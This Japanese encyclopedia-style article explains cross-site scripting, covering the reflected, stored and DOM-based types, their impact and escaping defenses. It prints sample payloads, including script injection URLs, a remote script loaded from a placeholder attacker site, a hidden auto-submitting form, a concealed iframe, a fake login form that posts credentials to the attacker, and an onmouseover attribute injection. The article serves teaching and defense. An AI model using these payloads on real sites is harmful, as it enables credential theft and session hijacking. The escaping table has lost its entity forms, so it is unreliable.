クロスサイトスクリプティング(英: cross-site scripting)とは、Webアプリケーションの脆弱性もしくはそれを利用した攻撃。脆弱性をツリー型に分類するCWEではこの攻撃を不適切な入力確認 (CWE-20) によるインジェクション (CWE-74) のひとつとして分類している (CWE-79)[2]。略称はXSS。かつてはCSSという略称も使われていたが、Cascading Style Sheetsと紛らわしいのでこの略称はあまり使われなくなった。
「クロスサイト(サイト横断)」という名称は歴史的なもので、初期に発見されたXSSでは脆弱性のあるサイトと攻撃者のサイトを「サイト横断的」に利用して攻撃を実行することから名づけられたものだが[4]、XSSの定義は新しいタイプの攻撃が見つかるたびに拡張され、サイト横断的なものでなくともXSSと呼ぶようになった。
この拡張された定義においてXSS攻撃とは、攻撃者の作成したスクリプトを脆弱性のある標的サイトのドメインの権限において閲覧者のブラウザで実行させる攻撃一般を指す。斜体で書いた部分がXSS攻撃の重要な特徴であり、この特徴により標的サイトの権限がないと実行できないようブラウザが制限している(同一生成元ポリシー)はずの行動を、攻撃者に実行可能にしてしまう。
概要
背景
XSSについて述べる前に、ウェブサイトの仕組みについて簡単に復習する。JavaScriptのようなクライアントサイドのスクリプトは、ウェブサイトが閲覧者が取った行動(例えばフォーム に何を記載したか)を変数の形で取得し、取得した変数値に応じて動的にHTMLを生成する。
セキュリティの観点から見た場合スクリプトには非常に強い権限が与えられている為、これを悪用された場合には大きな危険を伴う事になる。具体的にはスクリプトを使えばブラウザに保管されているcookieの内容を読み書きする事も可能であるし、ログイン時にはサイトからユーザ固有の情報を読み書きする事も可能である。さらにはそうした情報を別のサイト(例えば攻撃者のサイト)に転送する事も可能である。
こうした事情によりウェブブラウザには同一生成元ポリシーという、スクリプトの悪用を制限するためのポリシーが実装されている。このポリシーは、「ウェブページ1に記載されたスクリプトがそれとは別のウェブページ2に関するデータにアクセスできるのは、ページ1と2が同一の「オリジン」にある場合のみである」とするものである。ここでページ1と2のオリジンが同一であるとは、1と2のプロトコル、ホスト名、ポート番号が一致する事を指す。
多くのケースにおいて同一のウェブサイト上にあるページは同一のホスト上において同一のプロトコル(http)と同一ポート番号(80番)で動作するものなので、同一生成元ポリシーはウェブサイトを構築する上であまり邪魔にならない。しかし攻撃者が全く別のサイトからスクリプトによってデータを不正に読み取ろうとしたとしても同一生成元ポリシーがこれを妨げるのでセキュリティは担保される。
XSS攻撃の目的と特徴づけ
XSS攻撃は、ウェブサイト(標的サイト)の脆弱性(XSS脆弱性)を利用する事で、標的サイトの権限で悪意のあるコンテンツ(多くの場合スクリプト)を実行する事を目的として行われる。悪意のあるコンテンツは標的サイトの権限で実行されるので、同一生成元ポリシーによる制限が迂回される。これを悪用する事により攻撃者は標的サイトを閲覧したユーザ(=被害者)のcookieを盗むなど、様々な攻撃を行う。
CWE-79ではXSS攻撃を以下のような攻撃として特徴づけており、XSS脆弱性をXSS攻撃を可能にする脆弱性として特徴づけている。XSS攻撃を行う攻撃者は標的サイトへのデータ入力経路に不正なデータを注入(インジェクション)する。ここでいう「データ入力経路」は正規のユーザのために用意された入力経路(例えばフォーム)の場合もあればそうでない場合もあり、標的サイトのウェブアプリケーションへのWebリクエスト全般が狙われる。また不正なデータはスクリプトなどWebブラウザで実行可能な悪意のあるコンテンツを含んだものが用いられる。
このインジェクションの結果、標的サイトのウェブサーバが攻撃者の用意した不正データを含んだウェブページを動的に生成する。この生成されたウェブページを被害者となるユーザが閲覧すると、不正なデータに含まれる悪意のあるコンテンツが標的サイトの権限により被害者のブラウザ上で実行され、攻撃が成功する。
XSS攻撃に用いる「Webブラウザで実行可能なコンテンツ」は何らかのスクリプトである事が多いので、本稿では以下、特に断りがない限りスクリプトのケースについて述べる。
XSS脆弱性とXSS攻撃の詳細
本節ではXSS脆弱性とXSS攻撃の詳細を具体例を通して述べる。
すでに述べたように、ウェブサイトではユーザがフォームなどで入力した値を変数として持ち、変数にセットされた値に応じてその後の動的なページ内容の生成が行われ、その際には変数値そのものがページに表示されることもある。XSS脆弱性の簡単な例としてはユーザが値を決定できる変数値を加工せずそのままウェブページに表示(エコーバック)してしまうというものがある。具体的には以下のようなシチュエーションでXSS脆弱性が生じる事が多い:
- ユーザが入力した内容を確認・訂正させるページ
- 検索結果の表示
- エラー表示
- ブログや掲示板におけるコメントの反映
そこで最初に挙げた確認ページのシチュエーションにおける脆弱性を利用したXSS攻撃の例を述べる。今、標的サイト example.comのウェブページにユーザの性別を選択させるフォームがあり、そのページではユーザが選択した値("man"もしくは"woman")を変数genderにそのまま保管し、genderの内容を以下のようにそのまま表示する事でフォームの内容をユーザに再確認させるページを動的に生成するとする(再確認ページのURLはフォームのあるページのURLと同一でも異なってもよい)。
入力した性別は以下のもので正しいでしょうか:
(genderの値)
具体的にはたとえばPHPで
<?php echo "名前:".$_GET['gender']; ?>
もしくは
<?php echo "名前:".$_POST['gender']; ?>
というスクリプトが書かれていた場合である。
このようなページにおいて、攻撃者が何らかの方法でgenderの値を
gender=<script>(悪意のあるスクリプト)</script>
にセット(=スクリプトのインジェクション。 詳細後述)し、この状態で被害者となるユーザがこのページにアクセスしてしまうとXSS攻撃は成功となる。
実際、標的サイトのウェブページには、変数genderの値をそのまま表示するページを動的に生成してしまうという脆弱性があるので、攻撃者が前述のようにgenderをセットした状態で被害者となるユーザがこのページを閲覧してしまうと、ウェブサイトは動的に生成したHTML
入力した性別は以下のもので正しいでしょうか:
<script>(悪意のあるスクリプト)</script>
を被害者のブラウザに送りつけてくるため、悪意のあるスクリプトが被害者のブラウザ上で自動的に実行されてしまう。
なお、ウェブサイトの作者がgenderの値としてフォームに準備した値が「man」と「woman」の2つだけだったとしても、実際にgenderにセットされた値が「man」か「woman」のいずれかであることを、ウェブサイトを置いているサーバ側でチェックしない限り、攻撃者はそれ以外の値(=悪意のあるスクリプト)にgenderをセット可能である。
インジェクション方法の具体例
次に攻撃者が悪意のあるスクリプトをインジェクションする方法を述べる。方法はウェブページにどのようなXSS脆弱性が存在するのかに依存するので、ここではフォームの入力値の2通りの送信方法(GETメソッド、POSTメソッド)に応じてインジェクション方法を2通り述べる。
なお、ここで説明する例はいずれも、後述するXSSの分類では「反射型」に属する。
GETメソッドのみに適用できる方法
GETメソッドでは変数の値がURLに明記されるので、フォームの内容をユーザに再確認させるページのURLは
http://example.com/?gender=(フォームで入力した値)
のような形になっている。
そこで攻撃者は被害者となるユーザに以下のURLにアクセスするよう何らかの方法(たとえばexample.comを装った罠メールにこのURLを記載)で促す:
http://example.com/?gender=<script>(悪意のあるスクリプト)</script>
するとgenderが悪意のあるスクリプトにセットされたページを被害者が閲覧することになるので、攻撃が成功したことになる。
ここで重要なのは、上記のURLが「http://example.com/」から始まる事である。これが原因でユーザはexample.comの何ら問題のないWebページだと誤解してしまい、上記のURLをクリックしてしまう可能性がある。
なお、ここでは悪意のあるスクリプトを標的サイトのURLに埋め込む方法を紹介したが、URLの長さには上限がある関係上、埋め込めるスクリプトの長さが制限されてしまうため、攻撃者が行える攻撃の種類が制限されてしまう。
長さに制限のないスクリプトを埋め込むには、攻撃者は自分のサイトを立ち上げ、そこに悪意のあるスクリプト「http://(攻撃者のサイト上の悪意のあるスクリプト)」をおいた上で、被害者に
http://example.com/?gender=<script src="http://(攻撃者のサイト上の悪意のあるスクリプト名)"></script>
を閲覧させればよい。
ただしこちらの攻撃の場合、攻撃者のサイトのURLがウェブサーバのログに残るため、これを手がかりにサーバ管理者が攻撃者を特定できる可能性がある。したがって攻撃者は自身のサイトの場所を頻繁に変えるなど追跡の手を逃れる手段を講じる必要がある。
GETメソッド、POSTメソッド双方に適用できる方法
上述したGETメソッドの例ではURLに変数の値がそのまま表示されている事が攻撃者にXSS攻撃を可能にしてしまった原因の一つである。しかしURLに変数の値が表示されないPOSTメソッドを使った場合でもXSS攻撃が可能である。以下、POSTメソッドを前提にして話をすすめるが、GETメソッドに対しても同様の方法でインジェクションが可能である。
標的サイトにXSS攻撃を仕掛けるため、攻撃者は自身でウェブサイト(罠サイト)を立ち上げ、そこに以下のようなHTMLを書く:
<form action="http://example.com/" method="POST" name ="hoge">
<input type="hidden" name="gender" value='<script>(悪意のあるスクリプト)</script>'>
</form>
<script>document.hoge.submit()</script>
被害者が罠サイトを表示してしまうと、フォームhogeのinput文においてgenderが(悪意のあるスクリプト)にセットされた状態で標的サイト「http://example.com/」が表示されてしまうので、被害者のブラウザで悪意のあるスクリプトが実行されてしまう。
しかもこのinput文はhidden指定なのでgenderの値は被害者のブラウザ上に表示されず、被害者はこの事実に気づかない。
隠蔽工作
上で説明した「GETメソッドのみに適用できる例」ではユーザがアクセスした攻撃用サイトには「入力した性別は以下のもので正しいでしょうか」といった文章が表示されてしまうため、攻撃を受けたことにユーザが気づいてしまう可能性があるが、攻撃者が悪意のあるスクリプト部分の冒頭に
document.body.innerHTML=""
というJavaScriptを記載しておけば、HTML本文が完全消去されるため、上述のような不自然な文章は表示されない。
これに続けて(JavaScriptのdocument.writeメソッドを使って)攻撃に必要な内容をスクリプト部分に自由に記述可能となる。
別の隠蔽工作方法として、罠サイトでHTMLのiframeタグとCSSを用いるというものがあり、この方法には攻撃者にとって上で述べた隠蔽工作とは違った利点がある(詳細後述)。なおiframeとはウェブページを入れ子にするためのHTMLタグで、ウェブページA上にウェブページBのURLを指定したiframeタグを書くと、A上に四角いフレームができ、その中にBの内容が表示される。これを利用して攻撃者は以下のように隠蔽工作を図る。
まず攻撃者は罠サイトのページAにiframeタグを書くことで、悪意のあるスクリプトを埋め込んだ標的サイトのURLを読み込む。具体的には、ページAに
<iframe src=http://example.com/?gender=<script>(悪意のあるスクリプト)</script>></iframe>
と記載する。
さらにCSSを書くことでiframeの内容が表示されたフレームがAの閲覧者には見えないようにする。この状態で被害者を誘導してページAを開かせると、iframeにより自動的に悪意のあるスクリプトを埋め込んだ標的サイトが読み込まれるので、攻撃が成功する。
この隠蔽工作の利点は、攻撃に用いたiframeはCSSで隠しているので、標的サイトと全く無関係に見える罠サイトを被害者が開いただけで攻撃が完了し、しかも罠サイトのURLにも不自然なところはないので、被害者にとって罠サイトと通常サイトを見分ける手段が無いことである。
「GETメソッド、POSTメソッド双方に適用できる方法」に対しても同様にiframeとCSSで隠蔽工作が可能である。こちらの場合、攻撃用のフォームを書いたページBを罠サイトに作成し、BをiframeでページAに読み込んだ上でCSSによりiframeを隠せばよい。
被害者がページAを閲覧すると、iframe内は悪意のあるスクリプトを埋め込んだ標的サイトに遷移するという不自然な動きをするが、CSSでiframeを隠しているので被害者はこのことに気づかない。
インジェクションする言語
XSS攻撃に用いる「Webブラウザで実行可能なコンテンツ」の例として、CWE-79では以下のものを挙げている:
- JavaScript
- HTML タグ
- HTML アトリビュート
- マウスイベント
- Flash
- ActiveX
インジェクション箇所
HTML内には攻撃者が悪意のあるスクリプトをインジェクションし得る箇所として以下のものがある:
- フォームなど変数の値を入力可能な場所(前述)
- スクリプト文
- <script></script>の内部、および<script></script>のURLのリモート参照
- タグのstyle属性およびイベントハンドラ属性中のスクリプト記述。具体的には<div style="...;z:expression(...);...">や、<span onmouseover="...">等。
- URLを属性値として取れる要素、およびそこでのスクリプト直接記述。
- 具体的にはa要素のhrefとimg、frameとiframeのsrc属性。
2.の場合、URLとして「javascript:(JavaScript文)」の形式(javascriptスキーム)を利用してJavaScriptを注入することができる。
XSSの被害
| この節の 加筆が望まれています。 (2016年10月) |
攻撃者はXSSを用いることで、例えば以下の様な被害を発生させられる:
- 標的サイトの変数値やcookieなどからの情報漏洩
- セッションハイジャック
- 機能の不正実行
- ウェブサイトの改竄(ただし攻撃者が準備したURLからアクセスした場合のみ)
- 悪意のあるスクリプトによりWebページを改ざんする事でパスワードやクレジットカード番号を入力するフォームをWebページに追加し、ユーザからこれらの情報を盗む(フィッシング 詐欺)
- 悪意のあるスクリプトを使ってブラウザの脆弱性を突き、ユーザ端末を乗っ取る
- ワームの実行
個人情報の奪取
攻撃者は標的サイトexample.comで任意のスクリプトを実行可能なので例えばスクリプトに以下の様なhtmlのフォームを生成させる事でユーザが入力したID/パスワードを攻撃者のサイトに転送させる事ができる:
ログインしてください:<br />
<form name=login action="(攻撃者のサイト名)" method="post">
ID <input type="text" name="id"> <br />
パスワード <input type="text" name="pass"> <br />
</form>
攻撃手法の分類
CWE-79ではXSSの攻撃手法を以下の3種類に分類している:
- タイプ 1:反射型クロスサイトスクリプティング (非持続的)
- タイプ 2: 格納型クロスサイトスクリプティング (持続的)
- タイプ 0: DOMベースのクロスサイトスクリプティング
反射型XSS
反射型XSSでは、攻撃者は不正なデータDをWebページPのURLなどに仕込んでおり、Dが原因でWebアプリケーションが作るPのhtml本文などに悪意のあるスクリプトが含まれる。被害者がWebページPのURLをクリックすると、Pの内容とともに悪意のあるスクリプトが被害者のブラウザに送信され、ブラウザ上で悪意のあるスクリプトが実行される事で被害が生じる。したがって攻撃者が反射型XSSの脆弱性を利用するには、被害者をPに誘導する方法を別途考える必要がある。
反射型XSSにおいて攻撃者が被害者をWebページPに誘導する方法は主に2つある。第一の方法は、標的サイトとは別のWebサイト(公開掲示板や攻撃者自身のWebサイトなど)にPのURLを張り、被害者がPへのリンクをクリックするのを待つ方法である。第二の方法は標的サイトを装って被害者にメールし、そのメール本文にPのURLを記載することで、被害者がPを閲覧するのを期待する方法である。
格納型XSS
一方、格納型XSSでは、攻撃者は不正なデータDを標的サイトのデータベース、メッセージフォーラム、訪問者のログといったデータストアに保存する。たとえば電子掲示板に格納型XSSの脆弱性がある場合、攻撃者は不正なデータDを含んだ書き込みを掲示板に対して行う。すると掲示板システムはDを自身のデータストアに保存し、正規の利用者が掲示板を訪れるたびにDを含んだ書き込みを表示するため、この書き込みを表示した利用者全員がXSSの被害者になりうる。格納型XSSは正規サイトのデータストアそのものに不正なデータを仕込むので、反射型XSSと違い被害者に不正なURLをクリックさせる必要がない事が攻撃者にとっての利点の一つである。
DOMベースXSS
反射型および格納型のXSSではWebアプリケーション側が悪意のあるスクリプトを含んだWebページPを作り出す事が原因で、Pを閲覧した被害者が被害を受ける。それに対しDOMベースXSSは、ブラウザなどのユーザ・クライアントが悪意のあるスクリプトを含んだWebページを生成するタイプのXSSの総称である。DOMベースXSSは、スクリプトを使った以下のような動的html生成(DOM操作)を利用する。一般にユーザがWebサイトにアクセスすると、Webアプリケーションはユーザ・クライアントに対し、(悪意のない正規の)スクリプトSを含んだhtmlを送り返すことがある。ユーザ・クライアントはこのhtmlを受け取ると、htmlに含まれるスクリプトSを実行することで、htmlを書き換え、画面に出力する最終的なhtmlを得る。
DOMベースXSSではこの仕組みを悪用し、ユーザ・クライアント側で実行されるスクリプトSに不正なデータDを注入することで、XSS攻撃を実行する。Dを注入する箇所としては反射型XSSと同様、URLなどを利用する。
他の2つのXSSとは異なり、Webアプリケーション側ではDOMベースXSS攻撃が行われていることを感知できない[14]。したがって例えばWebアプリケーション側にWAFを導入するなどの対策を施してもこの攻撃を検知したり防いだりする事はできない。
というのもDOMの仕組みでは、スクリプトSに注入される不正なデータDは、Webアプリケーションではなくユーザ・クライアント側で取得し、ユーザ・クライアント側でDが注入されたスクリプトSを実行するので、Webアプリケーション側には不正なデータDが一切伝わらないからである。
対策
| この節の 加筆が望まれています。 (2016年10月) |
すでに述べたように、XSSへの対策としてはユーザからフォームの値を取得した際、htmlで特別な意味を持つ記号を以下のように別の記号に置き換える(エスケープ処理をする)という方法がある:
- 「<」 → <
- 「>」 → >
- 「"」 → "
- …
このようにすると攻撃者が攻撃用スクリプトを埋め込むのに利用したhtmlのタグ「<script>」は「<script>」という無害な文字列に置き換わってしまうので上述したXSS攻撃を回避できる。
なおエスケープ処理は例えばPHPのhtmlspecialchars関数を利用する事で実現可能である。
しかしこのような対策には限界があり、#インジェクション箇所で述べた、スクリプトが直接記述可能な箇所やURLを記述可能な箇所に対しては、この対策は効かない。
エスケープが必要な記号として、「<」、「>」、「"」などがある。「<」と「>」をエスケープする必要がある理由の一つはすでに具体例で挙げたように「<script>」を無効にするためである。「"」をエスケープする理由は以下で述べる。
引用符で囲んだ属性値に対するXSS
HTML中で属性値を引用符でくくっていても適切な対策(属性値中で引用符「"」をエスケープ)をしない限り、XSS対策にならない。たとえば
<input type="text" name="gender" value="inputval"> <br />
のように青色で示した入力値inputvalが引用符でくくられていたとしていても
攻撃者が
http://example.com/?name="+onmouseover%3d"(悪意のあるスクリプト)
というURLを被害者にクリックさせると、被害者のブラウザでは(HTML中では%3dが「=」に変換されるので)
<input type="text" name="gender" value=""onmouseover="(悪意のあるスクリプト)"> <br />
となってしまうので、onmouseoverイベントハンドラによりマウス移動時に悪意のあるスクリプトが実行されてしまう。
脚注
参考文献